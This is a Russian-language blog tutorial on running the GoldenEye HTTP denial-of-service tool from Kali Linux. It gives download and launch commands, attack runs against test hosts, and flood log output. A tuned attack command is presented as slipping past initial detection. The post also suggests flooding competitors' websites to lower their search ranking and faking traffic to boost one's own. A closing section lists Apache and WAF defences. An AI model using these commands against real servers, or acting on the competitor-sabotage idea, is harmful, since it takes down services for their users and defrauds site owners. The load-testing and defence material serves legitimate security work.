Стресс-тест сети: DoS веб-сайта в Kali Linux с GoldenEye | WebWare.biz

# Стресс-тест сети: DoS веб-сайта в Kali Linux с GoldenEye

20.06.201520.06.2015 WebWare Team Безопасность

На страницах WebWare.biz уже говорилось об инструментах DoS, которые могут сильно нагрузить серверы HTTP, чтобы парализовать их работу из-за исчерпания пула ресурсов. GoldenEye — это ещё один, со своими особенностями, который может положить сервер за 30 секунд, в зависимости от того, насколько велик пул его памяти. Конечно, он не работает на защищённых серверах и серверах за правильно настроенными WAF, IDS. Но это отличный инструмент для тестирования вашего веб-сервера на повышенную нагрузку. А на основании полученных результатов можно изменить правила iptables/файерволов для увеличения устойчивости и сопротивляемости к негативным факторам.

Подробности об инструменте GoldenEye:

- Название утилиты: GoldenEye
- Автор: Jan Seidl
- Веб-сайт: http://wroot.org/

Из поста автора GoldenEye:

1. Этот инструмент предназначен только для целей исследования и любое другое вредоносное его использование запрещено.
2. GoldenEye — это приложение на питоне для ТОЛЬКО ЦЕЛЕЙ ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ!
3. GoldenEye это инструмент тестирования HTTP DoS.
4. Эксплуатируемый вектор атаки: HTTP Keep Alive + NoCache

## Типы DoS или DDoS атак

Давайте пройдёмся по самой базовой информации об атаках DoS или. DDoS. Обычно выделяют три вида DoS и DDoS атак:

1. DoS и DDoS атаки уровня приложений
2. DoS и DDoS атаки уровня протокола
3. DoS и DDoS атаки насыщения полосы пропускания

### DoS и DDoS атаки уровня приложений

DoS и DDoS атаки уровня приложений — это атаки, которые нацелены на Windows, Apache, OpenBSD или другое программное обеспечение для выполнения атаки и краха сервера.

### DoS и DDoS атаки уровня протокола

DoS и DDoS атаки уровня протокола — это атаки на уровне протокола. Эта категория включает Synflood, Ping of Death и другие.

### DoS и DDoS атаки насыщения полосы пропускания

Этот тип атак включает ICMP-флуд, UDP-флуд и другие типы флуда, осуществляемые через поддельные пакеты.

Слова DoS и DDoS близки по значению. Когда атака ведётся с одной машины, обычно говорят о DoS атаке. При большом количестве атакующих из ботнета (или группы) говорят о DDoS атаке. Об этих атаках доступно много информации, но не важна, какого типа эта атака, т. к. они все одинаково вредны для сервера/сети.

## Загрузка GoldenEye

Сторонние программы, установленные не из репозитория, я собираю в каталоге ~/opt. Если у вас нет каталога для сторонних программ, то создайте его и перейдите туда:

    mkdir opt
    cd opt

Следующая большая команда создаст каталог, загрузит туда последнюю версию GoldenEye, распакует архив и сразу запустит GoldenEye (покажет справку по программе):

    mkdir GoldenEye && cd GoldenEye && wget https://github.com/jseidl/GoldenEye/archive/master.zip && unzip master.zip && cd GoldenEye-master/ && ./goldeneye.py

Если вам хочется всё сделать самому — постепенно, то продолжаем. Для начала создаём каталог GoldenEye, переходим туда и скачиваем архив с программой:

    root@WebWare-Kali:~/opt# mkdir GoldenEye
    root@WebWare-Kali:~/opt# cd GoldenEye
    root@WebWare-Kali:~/opt/GoldenEye# wget https://github.com/jseidl/GoldenEye/archive/master.zip

После скачивания распаковываем файл архива master.zip.

    unzip master.zip

Теперь у нас появился каталог GoldenEye-master, переходим туда и проверяем его содержимое:

    ls
    cd GoldenEye-master/
    ls

## Запуск GoldenEye – досим веб-сайт

Запуск очень прост, делается это так:

    ./goldeneye.py

Программа показывает нам свою справку:

Необходимо осведомлять пользователей о расписании тестирования и возможных перебоях в работе. Поскольку часто результатом симуляции атаки является остановка работы.

Ну и все другие предупреждения: вы не должны тестировать (симулировать атаку) других без их разрешения. Поскольку в случае причинения вреда, вы можете быть привлечены к ответственности в соответствии с законодательством.

Данная информация размещена в образовательных целях. Для тестирования своих серверов, для анализа качества их настройки и разработки мер противодействия атакам.

Запуск слегка различается от используемой вами ОС:

    root@WebWare-Kali:~/opt/GoldenEye/GoldenEye-master# ./goldeneye.py http://www.goldeneyetestsite.com/
    (или)
    sudo ./goldeneye.py http://www.goldeneyetestsite.com/
    (или)
    python goldeneye.py http://www.goldeneyetestsite.com/

В зависимости от того, где вы сохранили файлы, подредактируйте ваш путь и команду.

## Далее тесты GoldenEye:

Следить за состоянием сервера я буду командой top:

Т.е. сервер находится в состоянии простоя, процесс полностью свободен, свободной оперативной памяти доступно 350 мегабайт.

### Атака

    ./goldeneye.py http://192.168.1.37/info.php

### Результат

Можно посмотреть по скриншоту, процессор по-прежнему практически бездействует, но количество свободной памяти резко сократилось, увеличилось количество спящих процессов.

Тем не менее, сервер не удалось полностью положить при атаке в один поток (хотя вообще-то, такая задача и не ставилась).

## Анализ атаки GoldenEye

Посмотрим лог сервера:

    cat /var/log/apache2/access.log | grep -E '192.168.1.55'

Я использую grep -E '192.168.1.55', чтобы отфильтровать подключения только с машины, с которой велась атака.

Видим там примерно такое:

    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?vySSDx=tG1rmfX4HbYXBm&CKVuvV=JLoK&nHc8x=0x5YKQtvHs0HWS68 HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3) AppleWebKit/535.6 (KHTML, like Gecko) Version/6.0.5 Safari/535.17"
    192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET /info.php?dC1FyXpw=hB6Oh&rjcf74A=YVA&YUtUXuDo2s=2pLY7nlq&SjyqoF=wUIx8Aq&tXkrfJRw=LsgED HTTP/1.1" 200 69504 "http://www.baidu.com/k1IkNXv" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_4) AppleWebKit/536.12 (KHTML, like Gecko) Chrome/10.0.623.89 Safari/536.26"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?0Nk7p=kSf&1eVF8PNy=UpDtxpDmJE2Fbx6&lPS=53T0AUI6Xu&5EbHY=scv1yBq8O6Y&JJthAkQqqk=HUEQBD5ONbAMxVlWHxai HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) Gecko/20021304 Firefox/12.0"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?SAQMIx5Pl=VWGEFj3q8N0 HTTP/1.1" 200 69504 "http://www.google.com/gCqMk2Q05?DxQe=67gW4HUd3iTKCu2qWSJ&ngWHMmS1=5XyoGh6q2sVlyHBdK&bl185B=anwKamnu2xK&RpI=HA0wNexUytc&uOqLV=6TNbGepqbnr&uu2fjtL63=u5lnA701na4cYYH0yN&TOY066XT=3WJQhmtXRyCo46HnbXY1" "Mozilla/5.0 (Linux x86_64; X11) Gecko/20010905 Firefox/17.0"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?jA5Kw=fwtSMfaPQ8XtCaK&Y0fBbDfSXd=8Jm5hqt&xPC=1qwBHvMDy7gl HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) Gecko/20011709 Firefox/23.0"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?t2U0aYjxm=q21n4BARB1&qxI1=cTw&XjGPpG=W3AAWvebbW HTTP/1.1" 200 69504 "http://www.baidu.com/bQnoS7ULAY" "Mozilla/5.0 (Windows NT.6.2; Win64; x64) AppleWebKit/536.10 (KHTML, like Gecko) Chrome/18.0.1844.44 Safari/537.21"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?nkIkop=6pivICjNb6&U3Y=dDlbGnW3feTEXCm&aH2JLMl=sGmkpeSLnTtXahs7agi&8htjBss=DFuXcUiJ5G5Fu7c HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; .NET CLR 3.0.8867; Intel Mac OS X 11_6_2)"
    192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET /info.php?p6P23Hj=IcVgaSIUoVTanmFIDan&WWml82r3D=TCY8rta5YrwVsLJmrM HTTP/1.1" 200 69504 "http://www.baidu.com/fWaBwllK?aNP85MesWv=VhL6v32qtwyj&6CLwEBed=Eb73YTA24oYXmLk2w&Uy3wv=4pvNH8y&Jvirs=RJ4hKfRa&HyIYt8gtP=CHjm8OJaOP2djoQS&rm7bH=rukJ4726B14D3XOxDwJ6&QBkOD3=33qpPxVM3ih76MaSgnT&s7gO=3WrX3Vd&Vsh=A13d" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_1) AppleWebKit/536.10 (KHTML, like Gecko) Chrome/15.0.1172.45 Safari/535.15"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?so64O=2GhoHQaFy&DSmxwEWk=tYxV&y1C7mM=kQbuxco5oJfLPocGLl&kbItk4Rlj=LjVhrLgelmtLYDuldfF HTTP/1.1" 200 69504 "http://192.168.1.37/uxNqvi6EnN?cAyrBjvKc=OsSGuqs&rrlLD=2bKFfSyTf" "Mozilla/5.0 (Windows; U; MSIE 10.0; Windows NT 5.1; .NET CLR 2.2.16303; Win64; x64)"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?EXRbe03wp=fEBV5exjikcr8oNbEkmN&vpg8wYXv=DMGpYP1RMBUglSjbv4g&55prJ=fY78WvDU3vW7GaoW4etN&JWEFmlYFU=yFyBEk7 HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows; U; MSIE 8.0; Linux x86_64; .NET CLR 1.0.1395; X11)"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?7xIRdP0=8mjyacN&kEd2MwYtJ=bWhJvAH3A1H&xWe7vp6nH=faGl3PGJ4xAf&dSnj5CW=wOBRfkLbMrEWdmMFvov&xWPL3sYb=WN0yYPXu HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_0) Gecko/20062612 Firefox/18.0"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?lVn80y605=IDRbDmoiDyNBu HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_4) Gecko/20052008 Firefox/18.0"
    192.168.1.55 - - [18/Jun/2015:17:06:52 +0700] "GET /info.php?mAthtfI=c4QdAopYyQGAsJAl0XUH HTTP/1.1" 200 69504 "http://www.yandex.com/jbOJRnhpii?fW4YmYLq=6A6f8qyxLRk6" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/536.27 (KHTML, like Gecko) Version/4.1.4 Safari/537.21"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?1nwS7r=g6qpYcfOre HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Linux i386; X11) Gecko/20053002 Firefox/15.0"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?00iHfl2=CGhueehx3DqR32D&MnPMIcqiTN=HcIR&GFgFaO=IJL HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3) AppleWebKit/535.29 (KHTML, like Gecko) Chrome/19.0.1233.51 Safari/536.18"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?Ml1k=DFVW0F7 HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/8.0.1320.86 Safari/535.21"
    192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?khUn=xnRp0gXjlF&bl8TpeXEF5=28W&wPkB=cnOPTgwOpPGC&12cnFT6b=XNDSXFPdtraDsR&0FqigAn62=Kl4Y7pj2e7lj0nGoGN HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT.6.2; Win64; x64) AppleWebKit/537.3 (KHTML, like Gecko) Version/5.1.2 Safari/536.32"

Одного взгляда на логи достаточно, что каждый запрос GET содержит различные строки, различные пользовательские агенты и различных реферов, среди которых Bing, Baidu, Yandex и другие рандомные поисковые системы.

Так что происходит, когда ваш веб-сервер встречается с этой атакой? Он анализирует входящий трафик, проверяет запрашиваемые URL, адреса источников и поле Referrer и пропускает их с кодом 200 OK. Почему? Потому что каждый браузер был различным.

Инструмент был создан остроумно так, чтобы любой сервер мог подумать, что это различные пользователи, пытающие зайти с одного IP (может быть IP прокси или большой организации?) с различными браузерами (Firefox, Chrome, MSIE, Safari и т. д.), различными операционными системами (Mac, Linux, Windows и т.д.) и даже с различными реферами. Да, возможно запрашиваемый URL был неправильным, но нормальные веб-сервера всё равно пропустят его, перенаправят на страницу ошибки в то время как соединение будет оставаться открытым (например, Apache worker/socket). Стандартный веб-сервер обычно позволяет X число одновременных пользователей с одного IP и с большим количеством соединений/используемых сокетов, этот тип атаке приводит к тяжёлому давлению на сервер и последующие пользователи получают ошибку (HTTP 503 или наподобии). Следовательно, атакующий с несколькими рандомными proxy/VPN может быстро истощить ресурсы сервера. Он даже может замедлить атаки на один IP для избежания начального выявления:

    root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://www.goldeneyetestsite.com/ -w 10 -s 10 -m random

Вышеприведённая команда использует:

-w = 10 одновременные рабочие

-s = 10 одновременных соединений

-m = рандом, смесь GET и POST

Совершенный DoS!

## Интересное наблюдение по Google Analytics и GoldenEye

Я попробовал это в живую, чтобы просто посмотреть, как поведёт себя реальный веб-сервер. Интересно, оказывается что Google Analytics воспринимает этот трафик как реальный и добавляет данные от флуда в статистику (хотя он и идёт с одного IP, но различные рефереры и браузеры убеждают Google в том, что это отдельные пользователи). Можно придумать ещё пару способов эксплуатировать это:

- Можно повышать свой рейтинг в Google, т. к. она будет воспринимать это как легитимный трафик.
- Если Google будет наказывать за это, то тогда можно зафлудить веб-сайты конкурентов для понижения их ранжирования в Google.

Эта палка о двух концах.

## Блокирование/защита от атаки GoldenEye

Следующие предложения хорошо сработают, когда вы используете Apache:

1. Понижение соединений на один IP (обычно их 300 на IP для Apache)
2. Редактирование порога соединений на IP
3. Отключить настройки KeepAlive и нижний Connection Timeout (по умолчанию это 300)
4. Если вы хоститесь на общем сервере, обратитесь к сисадминам. Если они не могут защитить от этой простой атаки, то просто переезжайте к хостинг компании получше.
5. Используйте Web application Firewall (WAF).
6. Использование белых листов для входящих запросов — и эта атака не окажет эффекта на ваш сервер.
7. NGINX и Node.js вроде бы лучше справляются с атаками подобного рода.

## Заключение

GoldenEye выглядит как расширенная (или схожая на) HTTP Flooder программа. Обе работают похожим образом, но NoCache и KeepAlive от GoldenEye делают большую разницу. Также она использует интересный способ перемешивания браузеров, операционных систем и рефереров, что может обмануть файервол.

В общем, это хороший инструмент для тестирования на нагрузку своего собственного веб-сайта (с разрешения вашей хостинг компании), вашего корпоративного веб-сайта и любых веб-приложений, которые позволяют входящие GET или POST запросы. Используйте её для обновления ваших правил файервола. WAF и благодаря этому избежите будущих атак.

Будет интересно послушать ваши решения для подобного типа атак — пишите их в комментариях. Ретвит и расшаривание статьи в соц. сетях приветствуются.

Поделиться "Стресс-тест сети: DoS веб-сайта в Kali Linux с GoldenEye"

- Facebook
- Twitter
- Google+
- VKontakte
- E-mail

Связанные статьи:

- Стресс-тест сети с Low Orbit Ion Cannon (LOIC) (100%)
- Стресс-тест сети (DoS веб-сайта) со SlowHTTPTest в Kali Linux: slowloris, slow body и slow read атаки в одном инструменте (100%)
- Стресс-тест беспроводной сети с Wifi_DoS: как досить Wi-Fi (98.6%)
- Стресс-тест сети: DoS с использованием hping3 и спуфингом IP в Kali Linux (94.4%)
- Решение проблемы с установкой Low Orbit Ion Cannon (LOIC) на Ubuntu, Linux Mint: ERROR: Unable to find 'resgen' tool (94.4%)
- Новости софта от 17 сентября 2014 года (phpMyAdmin, Linux Mint) (RANDOM - 1.4%)

### Добавить комментарий Отменить ответ

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Имя *

E-mail *

Сайт

Комментарий

Можно использовать следующие HTML-теги и атрибуты: `<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>`

Получать новые комментарии по электронной почте. Вы можете подписаться без комментирования.

### Бесплатная книга по Kali

Читайте и скачивайте бесплатную книгу по Kali Linux 2.0 на русском языке

### Примечательные статьи:

- Рекомендованные USB беспроводные карты для Kali Linux
- Что почитать о компьютерной безопасности в 2015 году
- Как получить короткий и красивый e-mail
- Хостинг со сканером вирусов
- Свобода самовыражения с новыми доменными зонами
- Брошенные сайты с ТИЦ и PR, свободные премиум домены

### Популярные записи

Установка Apache, PHP, MySQL, phpMyAdmin 19 Авг , 2014
Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину 19 Окт , 2014
Взлом Wi-Fi пароля (WPA/WPA2), используя pyrit и cowpatty в Kali Linux 12 Фев , 2015
Kali Linux 2.0 с ядром 4.0 – Установка проприетарного драйвера NVIDIA – ускоренный видеодрайвер NVIDIA для Linux 12 Фев , 2015
MiAl’s Server Pack (полностью настроенный и рабочий сервер Apache + MySQL + PHP + phpMyAdmin — WAMP) (v. 0.3.1) 20 Авг , 2014
Модификация форка Reaver — t6x — для использования атаки Pixie Dust 04 Май , 2015

### Свежие записи

- PW-Inspector: отбираем пароли соответствующие критериям
- Решение ошибки dpkg: warning: ‘ldconfig’ not found in PATH or not executable, возникающей при установке пакетов в Kali Linux
- Решение проблемы с ошибкой E: Could not get lock /var/lib/dpkg/lock — open (11: Resource temporarily unavailable) в Kali Linux
- Брутфорсинг веб-сайтов с Hydra (часть вторая инструкции по Hydra)
- THC-Hydra: очень быстрый взломщик сетевого входа в систему (часть первая)

### Свежие комментарии

- DocenT к записи Взлом Wifi WPA/WPA2 паролей с использованием Reaver
- ss к записи Взлом Wifi WPA/WPA2 паролей с использованием Reaver
- Спасибо тебе большое! к записи Книга «Тестирование на проникновение с Kali Linux» 2.0 на русском языке
- Денис к записи Установка Nvidia + Bumblebee + CUDA на Kali Linux 1.1.0 для машин с включённым Optimus
- Денис к записи Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину

### Рубрики

- CSS
- JavaScript
- PHP
- SEO
- WordPress
- Без рубрики
- Безопасность
- Настройка сети
- Ни web'ом единым
- Новости
- Плагины
- Программирование (кодинг)
- Программы для сервера
- Работа и заработок в Интернете
- Ресурсы
- Создание сайтов
- Фотографии

### Вступайте в официальную группу

### Счётчики